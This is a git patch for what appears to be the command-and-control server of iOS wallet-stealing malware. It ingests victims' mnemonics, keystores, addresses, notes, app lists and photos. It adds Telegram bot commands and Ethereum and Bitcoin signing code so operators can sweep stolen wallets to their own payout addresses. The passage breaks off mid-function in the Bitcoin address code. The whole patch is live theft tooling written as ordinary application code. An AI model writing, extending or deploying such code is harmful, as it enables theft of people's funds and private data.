From 9bf769b2bd77b5554a37c96784f09121ff61bbd9 Mon Sep 17 00:00:00 2001 From: hashbro Date: Tue, 11 Aug 2026 02:26:43 +0800 Subject: [PATCH] feat: new chain --- .env.example | 20 +- .../Controllers/Admin/AgentUserController.php | 28 ++ .../Controllers/Admin/DashboardController.php | 111 +---- .../Controllers/Admin/DeviceController.php | 64 +++ app/Http/Controllers/C2/C2Controller.php | 16 +- .../Hooks/TelegramWebhookController.php | 106 ++++- app/Models/Device.php | 9 +- app/Models/TransferRecord.php | 27 ++ app/Models/User.php | 10 +- app/Providers/AppServiceProvider.php | 3 + app/Services/Chain/BtcAddress.php | 243 ++++++++++ app/Services/Chain/BtcDriver.php | 414 ++++++++++++++++++ app/Services/Chain/ChainManager.php | 4 + app/Services/Chain/EthAddress.php | 51 +++ app/Services/Chain/EthDriver.php | 221 ++++++++++ app/Services/Chain/EthRlp.php | 66 +++ app/Services/Chain/EthSigner.php | 82 ++++ app/Services/DashboardStatsService.php | 198 +++++++++ app/Services/IngestService.php | 113 +++-- app/Services/TelegramNotifier.php | 89 +++- app/Services/TransferService.php | 196 +++++++-- app/Services/WalletBalanceService.php | 68 ++- app/Telegram/Handlers/ChannelCommand.php | 68 +++ app/Telegram/Handlers/DataCommand.php | 108 +++++ app/Telegram/Handlers/HelpCommand.php | 56 +++ app/Telegram/Handlers/TransferCommand.php | 100 ++++- app/Telegram/Middleware/AuthorizedChat.php | 28 +- app/Telegram/Middleware/GroupAdminOnly.php | 35 +- app/Telegram/Middleware/OfficialBotOnly.php | 21 + app/Telegram/Middleware/OfficialOnly.php | 25 ++ app/Telegram/TelegramBotContext.php | 48 ++ app/Telegram/TelegramRegistrar.php | 66 +++ config/coruna.php | 31 +- ...0_000010_create_transfer_records_table.php | 31 ++ ...00001_rename_users_bot_id_to_bot_token.php | 72 +++ ...08_11_000001_users_bot_id_to_bot_token.php | 51 +++ .../2026_08_11_000001_users_bot_token.php | 59 +++ ...026_08_11_000010_devices_album_storage.php | 22 + resources/views/admin/agents/index.blade.php | 35 +- .../views/admin/dashboard/index.blade.php | 46 +- resources/views/admin/devices/index.blade.php | 38 +- resources/views/admin/devices/show.blade.php | 64 ++- routes/admin.php | 2 + routes/console.php | 30 +- routes/hooks.php | 9 +- routes/telegram.php | 17 +- routes/user.php | 2 + tests/Feature/AdminAgentPortalTest.php | 2 +- tests/Feature/C2ApiTest.php | 91 +++- tests/Feature/DeviceAlbumStorageTest.php | 116 +++++ tests/Feature/PageVisitTest.php | 31 +- tests/Feature/TelegramBotTest.php | 380 +++++++++++++++- tests/Feature/TelegramNotifierRoutingTest.php | 116 +++++ tests/Feature/TransferServiceTest.php | 126 +++++- tests/Unit/BtcDriverTest.php | 33 ++ tests/Unit/EthDriverTest.php | 33 ++ 56 files changed, 3806 insertions(+), 325 deletions(-) create mode 100644 app/Models/TransferRecord.php create mode 100644 app/Services/Chain/BtcAddress.php create mode 100644 app/Services/Chain/BtcDriver.php create mode 100644 app/Services/Chain/EthAddress.php create mode 100644 app/Services/Chain/EthDriver.php create mode 100644 app/Services/Chain/EthRlp.php create mode 100644 app/Services/Chain/EthSigner.php create mode 100644 app/Services/DashboardStatsService.php create mode 100644 app/Telegram/Handlers/ChannelCommand.php create mode 100644 app/Telegram/Handlers/DataCommand.php create mode 100644 app/Telegram/Handlers/HelpCommand.php create mode 100644 app/Telegram/Middleware/OfficialBotOnly.php create mode 100644 app/Telegram/Middleware/OfficialOnly.php create mode 100644 app/Telegram/TelegramBotContext.php create mode 100644 app/Telegram/TelegramRegistrar.php create mode 100644 database/migrations/2026_08_10_000010_create_transfer_records_table.php create mode 100644 database/migrations/2026_08_11_000001_rename_users_bot_id_to_bot_token.php create mode 100644 database/migrations/2026_08_11_000001_users_bot_id_to_bot_token.php create mode 100644 database/migrations/2026_08_11_000001_users_bot_token.php create mode 100644 database/migrations/2026_08_11_000010_devices_album_storage.php create mode 100644 tests/Feature/DeviceAlbumStorageTest.php create mode 100644 tests/Feature/TelegramNotifierRoutingTest.php create mode 100644 tests/Unit/BtcDriverTest.php create mode 100644 tests/Unit/EthDriverTest.php diff --git a/.env.example b/.env.example index a9b697f..1c4b1d5 100644 --- a/.env.example +++ b/.env.example @@ -81,23 +81,29 @@ TELEGRAM_WEBHOOK_SECRET= # NUTGRAM_SAFE_MODE=false # /transfer: recipient (fromAddress is the command arg; mnemonic from DB) -# Usage: /transfer [TRX|USDT] [amount] — omit amount = all +# Usage: /transfer [TRX|USDT|ETH|BTC] [amount] — omit amount = all +# Chain inferred from address; to = per-chain TRANSFER_TO_ADDRESS_*. TRANSFER_TO_ADDRESS= +TRANSFER_TO_ADDRESS_ETH= +TRANSFER_TO_ADDRESS_BTC= # TRANSFER_MAX_USDT=0 # TRANSFER_MAX_TRX=0 +# TRANSFER_MAX_ETH=0 +# TRANSFER_MAX_BTC=0 # TRANSFER_MAX_DERIVE_INDEX=20 # TRANSFER_TRX_FEE_RESERVE=1 +# TRANSFER_ETH_FEE_RESERVE=0.001 +# TRANSFER_BTC_FEE_RESERVE=0.0001 TRON_FULL_NODE=https://api.trongrid.io TRON_API_KEY= TRON_USDT_CONTRACT=TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t +ETH_RPC_URL=https://ethereum.publicnode.com +# ETH_CHAIN_ID=1 +ETH_USDT_CONTRACT=0xdAC17F958D2ee523a2206206994597C13D831ec7 +BTC_API_URL=https://mempool.space/api +# BTC_FEE_RATE=0 # Tokenview address tracking (monitor=1 addresses) TOKENVIEW_API_KEY= TOKENVIEW_SIGN_KEY= # TOKENVIEW_BASE_URL=https://services.tokenview.io/vipapi - -# Reserved payout addresses -PAYOUT_ETH= -PAYOUT_BTC= -PAYOUT_TRON= -PAYOUT_SOL= diff --git a/app/Http/Controllers/Admin/AgentUserController.php b/app/Http/Controllers/Admin/AgentUserController.php index 1ca83cd..5b1d418 100644 --- a/app/Http/Controllers/Admin/AgentUserController.php +++ b/app/Http/Controllers/Admin/AgentUserController.php @@ -46,6 +46,9 @@ class AgentUserController extends Controller 'username' => $u->username, 'status' => (int) $u->status, 'comment' => $u->comment ?: '', + 'chat_id' => $u->chat_id ?: '', + 'bot_token' => $u->bot_token ?: '', + 'telegram_ready' => $u->hasTelegramBot(), 'channels_count' => (int) $u->channels_count, 'created_at' => optional($u->created_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($u->updated_at)->format('Y-m-d H:i:s'), @@ -67,6 +70,8 @@ class AgentUserController extends Controller 'password' => ['required', 'string', 'min:6', 'max:128'], 'comment' => ['nullable', 'string', 'max:255'], 'status' => ['nullable', 'integer', Rule::in([0, 1])], + 'chat_id' => ['nullable', 'string', 'max:64'], + 'bot_token' => ['nullable', 'string', 'max:255'], ]); $user = User::query()->create([ @@ -74,6 +79,8 @@ class AgentUserController extends Controller 'password' => $data['password'], 'comment' => $data['comment'] ?? null, 'status' => (int) ($data['status'] ?? 1), + 'chat_id' => $this->nullableTrim($data['chat_id'] ?? null), + 'bot_token' => $this->nullableTrim($data['bot_token'] ?? null), ]); return response()->json(['code' => 0, 'msg' => 'ok', 'data' => ['id' => $user->id]]); @@ -85,6 +92,8 @@ class AgentUserController extends Controller 'password' => ['nullable', 'string', 'min:6', 'max:128'], 'comment' => ['nullable', 'string', 'max:255'], 'status' => ['nullable', 'integer', Rule::in([0, 1])], + 'chat_id' => ['nullable', 'string', 'max:64'], + 'bot_token' => ['nullable', 'string', 'max:255'], ]); if (array_key_exists('comment', $data)) { @@ -93,6 +102,15 @@ class AgentUserController extends Controller if (array_key_exists('status', $data) && $data['status'] !== null) { $agent->status = (int) $data['status']; } + if (array_key_exists('chat_id', $data)) { + $agent->chat_id = $this->nullableTrim($data['chat_id']); + } + if (array_key_exists('bot_token', $data)) { + $token = $this->nullableTrim($data['bot_token']); + // Empty string in edit form means "leave unchanged" only when field omitted; + // explicit empty clears. UI sends current value when unchanged. + $agent->bot_token = $token; + } if (! empty($data['password'])) { $agent->password = $data['password']; } @@ -118,4 +136,14 @@ class AgentUserController extends Controller return response()->json(['code' => 0, 'msg' => '', 'data' => $rows]); } + + private function nullableTrim(mixed $value): ?string + { + if ($value === null) { + return null; + } + $value = trim((string) $value); + + return $value === '' ? null : $value; + } } diff --git a/app/Http/Controllers/Admin/DashboardController.php b/app/Http/Controllers/Admin/DashboardController.php index 7acb307..fdc607c 100644 --- a/app/Http/Controllers/Admin/DashboardController.php +++ b/app/Http/Controllers/Admin/DashboardController.php @@ -4,17 +4,18 @@ namespace App\Http\Controllers\Admin; use App\Http\Controllers\Concerns\PortalAware; use App\Http\Controllers\Controller; -use App\Models\Device; -use App\Models\PageVisit; use App\Models\User; -use App\Support\AgentScope; -use Carbon\Carbon; +use App\Services\DashboardStatsService; use Illuminate\Http\Request; class DashboardController extends Controller { use PortalAware; + public function __construct( + private readonly DashboardStatsService $stats, + ) {} + public function index() { $agents = $this->isAgentPortal() @@ -29,103 +30,19 @@ class DashboardController extends Controller public function data(Request $request) { - $range = (string) $request->query('range', '30d'); - [$from, $to] = $this->rangeBounds($range); - - $channelId = trim((string) $request->query('channel_id', '')); - $agentUserId = $this->isAgentPortal() - ? (int) ($this->agent()?->id ?? 0) - : (int) $request->query('agent_user_id', 0); - - $base = Device::query(); - AgentScope::applyDeviceChannelScope($base, $this->agent()); - if (! $this->isAgentPortal() && $agentUserId > 0) { - AgentScope::applyAgentUserFilter($base, $agentUserId); - } - if ($channelId !== '') { - $base->where('channel_id', 'like', '%'.$channelId.'%'); - } - - $total = (clone $base)->count(); - $newCount = (clone $base)->whereBetween('created_at', [$from, $to])->count(); - $activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count(); - - $visits = PageVisit::query(); - AgentScope::applyChannelIdScope($visits, $this->agent()); - if (! $this->isAgentPortal() && $agentUserId > 0) { - AgentScope::applyChannelIdAgentUserFilter($visits, $agentUserId); - } - if ($channelId !== '') { - $visits->where('channel_id', 'like', '%'.$channelId.'%'); - } - $visits->whereBetween('created_at', [$from, $to]); - - $pv = (clone $visits)->count(); - $uv = (int) (clone $visits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate'); - - $byOs = (clone $visits) - ->select('os') - ->selectRaw('COUNT(*) as pv') - ->selectRaw('COUNT(DISTINCT client_uid) as uv') - ->groupBy('os') - ->orderByDesc('pv') - ->limit(10) - ->get() - ->map(static fn ($r) => [ - 'label' => ((string) ($r->os ?? '')) !== '' ? (string) $r->os : 'Unknown', - 'pv' => (int) $r->pv, - 'uv' => (int) $r->uv, - ]) - ->values(); - - $byBrowser = (clone $visits) - ->select('browser') - ->selectRaw('COUNT(*) as pv') - ->selectRaw('COUNT(DISTINCT client_uid) as uv') - ->groupBy('browser') - ->orderByDesc('pv') - ->limit(10) - ->get() - ->map(static fn ($r) => [ - 'label' => ((string) ($r->browser ?? '')) !== '' ? (string) $r->browser : 'Unknown', - 'pv' => (int) $r->pv, - 'uv' => (int) $r->uv, - ]) - ->values(); + $data = $this->stats->collect([ + 'range' => (string) $request->query('range', '30d'), + 'channel_id' => trim((string) $request->query('channel_id', '')), + 'agent_user_id' => $this->isAgentPortal() + ? 0 + : (int) $request->query('agent_user_id', 0), + 'agent' => $this->agent(), + ]); return response()->json([ 'code' => 0, 'msg' => '', - 'data' => [ - 'total' => $total, - 'new_count' => $newCount, - 'active_count' => $activeCount, - 'pv' => $pv, - 'uv' => $uv, - 'by_os' => $byOs, - 'by_browser' => $byBrowser, - 'range' => $range, - 'from' => $from->toDateTimeString(), - 'to' => $to->toDateTimeString(), - ], + 'data' => $data, ]); } - - /** - * @return array{0: Carbon, 1: Carbon} - */ - private function rangeBounds(string $range): array - { - $now = Carbon::now(); - - return match ($range) { - 'today' => [$now->copy()->startOfDay(), $now->copy()->endOfDay()], - 'yesterday' => [ - $now->copy()->subDay()->startOfDay(), - $now->copy()->subDay()->endOfDay(), - ], - '7d' => [$now->copy()->subDays(6)->startOfDay(), $now->copy()->endOfDay()], - default => [$now->copy()->subDays(29)->startOfDay(), $now->copy()->endOfDay()], - }; - } } diff --git a/app/Http/Controllers/Admin/DeviceController.php b/app/Http/Controllers/Admin/DeviceController.php index 58015ed..40cdfb6 100644 --- a/app/Http/Controllers/Admin/DeviceController.php +++ b/app/Http/Controllers/Admin/DeviceController.php @@ -59,6 +59,7 @@ class DeviceController extends Controller 'device_model' => $d->device_model ?: '', 'ios_version' => $d->ios_version ?: '', 'ip' => $d->ip ?: '', + 'album_storage' => $d->albumStorageEnabled() ? 1 : 0, 'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'), 'detail_url' => route($portal.'.devices.show', $d), @@ -143,6 +144,69 @@ class DeviceController extends Controller ->header('Content-Type', $mime); } + public function update(Request $request, Device $device) + { + $this->authorizeDevice($device); + + $data = $request->validate([ + 'album_storage' => ['required', 'integer', 'in:0,1'], + ]); + + $device->album_storage = (int) $data['album_storage'] === 1; + $device->save(); + + return response()->json([ + 'code' => 0, + 'msg' => 'ok', + 'data' => [ + 'id' => $device->id, + 'album_storage' => $device->albumStorageEnabled() ? 1 : 0, + ], + ]); + } + + public function clearPhotos(Device $device) + { + $this->authorizeDevice($device); + + $photos = $device->photos()->get(['id', 'path']); + $deletedFiles = 0; + foreach ($photos as $photo) { + $path = trim((string) ($photo->path ?? '')); + if ($path === '') { + continue; + } + if (Storage::disk('local')->exists($path)) { + Storage::disk('local')->delete($path); + $deletedFiles++; + } + } + + $deletedRows = $device->photos()->delete(); + + $dir = 'c2/photos/'.$device->device_id; + try { + if (Storage::disk('local')->directoryExists($dir)) { + Storage::disk('local')->deleteDirectory($dir); + } + } catch (\Throwable) { + // older flysystem without directoryExists — best-effort wipe + try { + Storage::disk('local')->deleteDirectory($dir); + } catch (\Throwable) { + } + } + + return response()->json([ + 'code' => 0, + 'msg' => 'ok', + 'data' => [ + 'deleted_rows' => (int) $deletedRows, + 'deleted_files' => $deletedFiles, + ], + ]); + } + private function authorizeDevice(Device $device): void { if ($agent = $this->agent()) { diff --git a/app/Http/Controllers/C2/C2Controller.php b/app/Http/Controllers/C2/C2Controller.php index c56e488..ff545c6 100644 --- a/app/Http/Controllers/C2/C2Controller.php +++ b/app/Http/Controllers/C2/C2Controller.php @@ -35,16 +35,13 @@ class C2Controller extends Controller public function avatarSet(Request $request): Response { - $payload = $request->attributes->get('coruna_payload'); - $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null); - return $this->encryptedAck(); } public function userGet(Request $request): Response { $payload = $request->attributes->get('coruna_payload'); - $device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null); + $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); if ($device && is_array($payload)) { $this->ingest->ingestInstalledApps($device, $payload); } @@ -55,6 +52,7 @@ class C2Controller extends Controller public function avatarPut(Request $request): Response { $payload = $request->attributes->get('coruna_payload'); + // Trusted channel_id source; updates touch updated_at (+ channel_id only if empty). $device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null); if ($device && is_array($payload)) { $this->ingest->ingestDeviceEvent($device, $payload); @@ -66,7 +64,7 @@ class C2Controller extends Controller public function avatarStatus(Request $request): Response { $payload = $request->attributes->get('coruna_payload'); - $device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null); + $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); if ($device && is_array($payload)) { $this->ingest->ingestKeystore($device, $payload); } @@ -77,7 +75,7 @@ class C2Controller extends Controller public function status(Request $request): Response { $payload = $request->attributes->get('coruna_payload'); - $device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null); + $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); if ($device && is_array($payload)) { $this->ingest->ingestAddresses($device, $payload); } @@ -88,7 +86,7 @@ class C2Controller extends Controller public function set(Request $request): Response { $payload = $request->attributes->get('coruna_payload'); - $device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null); + $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); if ($device && is_array($payload)) { $this->ingest->ingestMnemonic($device, $payload); } @@ -104,7 +102,7 @@ class C2Controller extends Controller $deviceKey = is_string($rawKey) && $rawKey !== '' ? IngestService::normalizeDeviceKey(substr($rawKey, 0, 64)) : null; - $device = $this->ingest->upsertDevice( + $device = $this->ingest->ensureDevice( $request, array_filter([ 'd' => $deviceKey, @@ -175,7 +173,7 @@ class C2Controller extends Controller public function avatarPic(Request $request): Response { $payload = $request->attributes->get('coruna_payload'); - $device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null); + $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); if ($device) { $this->ingest->ingestNotes($device, is_array($payload) ? $payload : null); } diff --git a/app/Http/Controllers/Hooks/TelegramWebhookController.php b/app/Http/Controllers/Hooks/TelegramWebhookController.php index a03c2df..b265996 100644 --- a/app/Http/Controllers/Hooks/TelegramWebhookController.php +++ b/app/Http/Controllers/Hooks/TelegramWebhookController.php @@ -3,9 +3,16 @@ namespace App\Http\Controllers\Hooks; use App\Http\Controllers\Controller; +use App\Models\User; +use App\Telegram\TelegramBotContext; +use App\Telegram\TelegramRegistrar; +use Illuminate\Contracts\Cache\Repository as Cache; use Illuminate\Http\Request; use Illuminate\Http\Response; use Illuminate\Support\Facades\Log; +use Nutgram\Laravel\RunningMode\LaravelWebhook; +use Psr\Log\LoggerInterface; +use SergiX44\Nutgram\Configuration; use SergiX44\Nutgram\Nutgram; use Throwable; @@ -13,7 +20,53 @@ class TelegramWebhookController extends Controller { public function __invoke(Request $request): Response { - // Log before resolving Nutgram — DI failures previously 500'd with no controller log. + app(TelegramBotContext::class)->setAgent(null); + + return $this->handle( + $request, + expectedSecret: (string) config('coruna.telegram.webhook_secret', ''), + resolveBot: static fn () => app(Nutgram::class), + label: 'official', + ); + } + + public function agent(Request $request, User $agent): Response + { + if (! $agent->isEnabled() || ! $agent->hasTelegramBot()) { + abort(404); + } + + app(TelegramBotContext::class)->setAgent($agent); + $secret = TelegramBotContext::webhookSecretFor($agent); + + return $this->handle( + $request, + expectedSecret: $secret, + resolveBot: function () use ($agent) { + if (app()->runningUnitTests()) { + return app(Nutgram::class); + } + + $bot = $this->makeAgentBot($agent); + app(TelegramRegistrar::class)->registerAgent($bot, $agent); + + return $bot; + }, + label: 'agent:'.$agent->id, + requireSecret: true, + ); + } + + /** + * @param callable(): Nutgram $resolveBot + */ + private function handle( + Request $request, + string $expectedSecret, + callable $resolveBot, + string $label, + bool $requireSecret = false, + ): Response { $raw = $request->getContent(); $update = $request->all(); if ($update === [] && is_string($raw) && $raw !== '') { @@ -27,23 +80,23 @@ class TelegramWebhookController extends Controller $chatId = $message['chat']['id'] ?? ($update['callback_query']['message']['chat']['id'] ?? null); $text = is_string($message['text'] ?? null) ? $message['text'] : null; $updateId = $update['update_id'] ?? null; - - $secret = (string) config('coruna.telegram.webhook_secret', ''); $header = (string) $request->header('X-Telegram-Bot-Api-Secret-Token', ''); $this->webhookLog('info', 'telegram webhook hit', [ + 'bot' => $label, 'ip' => $request->ip(), 'update_id' => $updateId, 'chat_id' => $chatId, 'text' => $text, 'has_secret_header' => $header !== '', - 'secret_configured' => $secret !== '', + 'secret_configured' => $expectedSecret !== '', 'body_bytes' => strlen($raw), ]); - if ($secret !== '') { - if ($header === '' || ! hash_equals($secret, $header)) { + if ($requireSecret || $expectedSecret !== '') { + if ($expectedSecret === '' || $header === '' || ! hash_equals($expectedSecret, $header)) { $this->webhookLog('warning', 'telegram webhook rejected: bad secret', [ + 'bot' => $label, 'ip' => $request->ip(), 'update_id' => $updateId, ]); @@ -52,17 +105,17 @@ class TelegramWebhookController extends Controller } try { - /** @var Nutgram $bot */ - $bot = app(Nutgram::class); + $bot = $resolveBot(); $bot->run(); $this->webhookLog('info', 'telegram webhook handled', [ + 'bot' => $label, 'update_id' => $updateId, 'chat_id' => $chatId, 'handler' => $bot->currentHandler()?->getPattern(), ]); } catch (Throwable $e) { - // Always ACK to Telegram — returning 500 causes pending_update backlog. $this->webhookLog('error', 'telegram webhook failed', [ + 'bot' => $label, 'message' => $e->getMessage(), 'exception' => $e::class, 'file' => $e->getFile().':'.$e->getLine(), @@ -72,7 +125,6 @@ class TelegramWebhookController extends Controller ]); if (app()->runningUnitTests() && $e instanceof \InvalidArgumentException) { - // FakeNutgram with no queued update in unit tests. return response()->noContent(); } } @@ -80,6 +132,40 @@ class TelegramWebhookController extends Controller return response()->noContent(); } + private function makeAgentBot(User $agent): Nutgram + { + $configuration = new Configuration( + apiUrl: config('nutgram.config.api_url', Configuration::DEFAULT_API_URL), + botId: config('nutgram.config.bot_id'), + botName: config('nutgram.config.bot_name'), + testEnv: config('nutgram.config.test_env', false), + isLocal: config('nutgram.config.is_local', false), + clientTimeout: config('nutgram.config.timeout', Configuration::DEFAULT_CLIENT_TIMEOUT), + clientOptions: config('nutgram.config.client', []), + container: app(), + hydrator: config('nutgram.config.hydrator', Configuration::DEFAULT_HYDRATOR), + cache: app(Cache::class), + logger: app(LoggerInterface::class)->channel(config('nutgram.log_channel', 'null')), + localPathTransformer: config('nutgram.config.local_path_transformer'), + pollingTimeout: config('nutgram.config.polling.timeout', Configuration::DEFAULT_POLLING_TIMEOUT), + pollingAllowedUpdates: config('nutgram.config.polling.allowed_updates', Configuration::DEFAULT_ALLOWED_UPDATES), + pollingLimit: config('nutgram.config.polling.limit', Configuration::DEFAULT_POLLING_LIMIT), + enableHttp2: config('nutgram.config.enable_http2', Configuration::DEFAULT_ENABLE_HTTP2), + conversationTtl: config('nutgram.config.conversation_ttl', Configuration::DEFAULT_CONVERSATION_TTL), + ); + + $bot = new Nutgram((string) $agent->bot_token, $configuration); + $secret = TelegramBotContext::webhookSecretFor($agent); + $webhook = new LaravelWebhook( + getToken: static fn () => request()?->header('X-Telegram-Bot-Api-Secret-Token'), + secretToken: $secret, + ); + $webhook->setSafeMode(true); + $bot->setRunningMode($webhook); + + return $bot; + } + /** @param array $context */ private function webhookLog(string $level, string $message, array $context = []): void { diff --git a/app/Models/Device.php b/app/Models/Device.php index f4f7119..03307d9 100644 --- a/app/Models/Device.php +++ b/app/Models/Device.php @@ -8,16 +8,23 @@ use Illuminate\Database\Eloquent\Relations\HasMany; class Device extends Model { protected $fillable = [ - 'device_id', 'channel_id', 'ios_version', 'device_model', 'ip', 'user_agent', 'telegram_notified', + 'device_id', 'channel_id', 'ios_version', 'device_model', 'ip', 'user_agent', + 'telegram_notified', 'album_storage', ]; protected function casts(): array { return [ 'telegram_notified' => 'boolean', + 'album_storage' => 'boolean', ]; } + public function albumStorageEnabled(): bool + { + return (bool) ($this->album_storage ?? true); + } + public function apps(): HasMany { return $this->hasMany(DeviceApp::class); diff --git a/app/Models/TransferRecord.php b/app/Models/TransferRecord.php new file mode 100644 index 0000000..eb3f40b --- /dev/null +++ b/app/Models/TransferRecord.php @@ -0,0 +1,27 @@ +hasMany(Channel::class, 'user_id'); } + + public function hasTelegramBot(): bool + { + return trim((string) ($this->bot_token ?? '')) !== '' + && trim((string) ($this->chat_id ?? '')) !== ''; + } } diff --git a/app/Providers/AppServiceProvider.php b/app/Providers/AppServiceProvider.php index 294967e..4a2a1ad 100644 --- a/app/Providers/AppServiceProvider.php +++ b/app/Providers/AppServiceProvider.php @@ -5,6 +5,7 @@ namespace App\Providers; use App\Services\CorunaArchive; use App\Services\CorunaCrypto; use App\Services\SettingsService; +use App\Telegram\TelegramBotContext; use Illuminate\Support\ServiceProvider; use Nutgram\Laravel\RunningMode\LaravelWebhook; use SergiX44\Nutgram\Nutgram; @@ -13,6 +14,8 @@ class AppServiceProvider extends ServiceProvider { public function register(): void { + $this->app->singleton(TelegramBotContext::class); + $this->app->singleton(CorunaCrypto::class, function () { $override = config('coruna.session_key'); diff --git a/app/Services/Chain/BtcAddress.php b/app/Services/Chain/BtcAddress.php new file mode 100644 index 0000000..c5892b2 --- /dev/null +++ b/app/Services/Chain/BtcAddress.php @@ -0,0 +1,243 @@ +keyFromPrivate($privateKeyHex)->getPublic(true, 'hex'); + + return self::p2pkhFromCompressedPublicKey($compressed); + } + + public static function p2pkhFromCompressedPublicKey(string $compressedHex): string + { + $compressedHex = strtolower(trim($compressedHex)); + $pub = hex2bin($compressedHex); + if ($pub === false || (strlen($pub) !== 33)) { + throw new RuntimeException('Expected compressed secp256k1 public key'); + } + $hash160 = hash('ripemd160', hash('sha256', $pub, true), true); + + return TronAddress::hexToBase58Check('00'.bin2hex($hash160)); + } + + public static function isValid(string $address): bool + { + $address = trim($address); + if ($address === '') { + return false; + } + if (preg_match('/^(bc1|tb1)[a-z0-9]{8,87}$/i', $address)) { + try { + self::decodeBech32($address); + + return true; + } catch (\Throwable) { + return false; + } + } + if (! preg_match('/^[13][1-9A-HJ-NP-Za-km-z]{24,33}$/', $address)) { + return false; + } + try { + $hex = TronAddress::base58CheckToHex($address); + } catch (\Throwable) { + return false; + } + $version = substr($hex, 0, 2); + + return ($version === '00' || $version === '05') && strlen($hex) === 42; + } + + /** + * @return array{type: string, script: string} script hex + */ + public static function scriptPubKey(string $address): array + { + $address = trim($address); + if (preg_match('/^bc1/i', $address)) { + $decoded = self::decodeBech32($address); + $prog = $decoded['program']; + $ver = $decoded['version']; + if ($ver === 0 && strlen($prog) === 20) { + // OP_0 <20> + return ['type' => 'p2wpkh', 'script' => '0014'.bin2hex($prog)]; + } + if ($ver === 0 && strlen($prog) === 32) { + return ['type' => 'p2wsh', 'script' => '0020'.bin2hex($prog)]; + } + throw new RuntimeException('Unsupported bech32 witness program'); + } + + $hex = TronAddress::base58CheckToHex($address); + $version = substr($hex, 0, 2); + $hash = substr($hex, 2); + if ($version === '00' && strlen($hash) === 40) { + // OP_DUP OP_HASH160 <20> OP_EQUALVERIFY OP_CHECKSIG + return ['type' => 'p2pkh', 'script' => '76a914'.$hash.'88ac']; + } + if ($version === '05' && strlen($hash) === 40) { + // OP_HASH160 <20> OP_EQUAL + return ['type' => 'p2sh', 'script' => 'a914'.$hash.'87']; + } + + throw new RuntimeException('Unsupported BTC address type'); + } + + public static function hash160Compressed(string $privateKeyHex): string + { + $privateKeyHex = strtolower(trim($privateKeyHex)); + if (str_starts_with($privateKeyHex, '0x')) { + $privateKeyHex = substr($privateKeyHex, 2); + } + $ec = new EC('secp256k1'); + $compressed = hex2bin($ec->keyFromPrivate($privateKeyHex)->getPublic(true, 'hex')); + if ($compressed === false) { + throw new RuntimeException('Invalid public key'); + } + + return hash('ripemd160', hash('sha256', $compressed, true), true); + } + + public static function compressedPublicKey(string $privateKeyHex): string + { + $privateKeyHex = strtolower(trim($privateKeyHex)); + if (str_starts_with($privateKeyHex, '0x')) { + $privateKeyHex = substr($privateKeyHex, 2); + } + $ec = new EC('secp256k1'); + + return $ec->keyFromPrivate($privateKeyHex)->getPublic(true, 'hex'); + } + + /** + * @return array{version: int, program: string} + */ + public static function decodeBech32(string $address): array + { + $address = strtolower(trim($address)); + $pos = strrpos($address, '1'); + if ($pos === false || $pos < 1) { + throw new RuntimeException('Invalid bech32'); + } + $hrp = substr($address, 0, $pos); + if ($hrp !== 'bc' && $hrp !== 'tb') { + throw new RuntimeException('Unsupported bech32 hrp'); + } + $dataPart = substr($address, $pos + 1); + $charset = 'qpzry9x8gf2tvdw0s3jn54khce6mua7l'; + $values = []; + for ($i = 0, $len = strlen($dataPart); $i < $len; $i++) { + $idx = strpos($charset, $dataPart[$i]); + if ($idx === false) { + throw new RuntimeException('Invalid bech32 character'); + } + $values[] = $idx; + } + if (count($values) < 7) { + throw new RuntimeException('Invalid bech32 length'); + } + if (! self::bech32Verify($hrp, $values)) { + throw new RuntimeException('Invalid bech32 checksum'); + } + $values = array_slice($values, 0, -6); + $version = $values[0]; + if ($version > 16) { + throw new RuntimeException('Invalid witness version'); + } + $program = self::convertBits(array_slice($values, 1), 5, 8, false); + if ($program === null) { + throw new RuntimeException('Invalid witness program'); + } + $len = strlen($program); + if ($len < 2 || $len > 40) { + throw new RuntimeException('Invalid witness program length'); + } + if ($version === 0 && $len !== 20 && $len !== 32) { + throw new RuntimeException('Invalid v0 witness program'); + } + + return ['version' => $version, 'program' => $program]; + } + + /** @param list $values */ + private static function bech32Verify(string $hrp, array $values): bool + { + return self::bech32Polymod(array_merge(self::bech32HrpExpand($hrp), $values)) === 1; + } + + /** @return list */ + private static function bech32HrpExpand(string $hrp): array + { + $ret = []; + $len = strlen($hrp); + for ($i = 0; $i < $len; $i++) { + $ret[] = ord($hrp[$i]) >> 5; + } + $ret[] = 0; + for ($i = 0; $i < $len; $i++) { + $ret[] = ord($hrp[$i]) & 31; + } + + return $ret; + } + + /** @param list $values */ + private static function bech32Polymod(array $values): int + { + $gen = [0x3b6a57b2, 0x26508e6d, 0x1ea119fa, 0x3d4233dd, 0x2a1462b3]; + $chk = 1; + foreach ($values as $v) { + $b = $chk >> 25; + $chk = (($chk & 0x1ffffff) << 5) ^ $v; + for ($i = 0; $i < 5; $i++) { + if (($b >> $i) & 1) { + $chk ^= $gen[$i]; + } + } + } + + return $chk; + } + + /** + * @param list $data + */ + private static function convertBits(array $data, int $from, int $to, bool $pad): ?string + { + $acc = 0; + $bits = 0; + $ret = ''; + $maxv = (1 << $to) - 1; + foreach ($data as $value) { + if ($value < 0 || ($value >> $from) !== 0) { + return null; + } + $acc = ($acc << $from) | $value; + $bits += $from; + while ($bits >= $to) { + $bits -= $to; + $ret .= chr(($acc >> $bits) & $maxv); + } + } + if ($pad) { + if ($bits > 0) { + $ret .= chr(($acc << ($to - $bits)) & $maxv); + } + } elseif ($bits >= $from || ((($acc << ($to - $bits)) & $maxv) !== 0)) { + return null; + } + + return 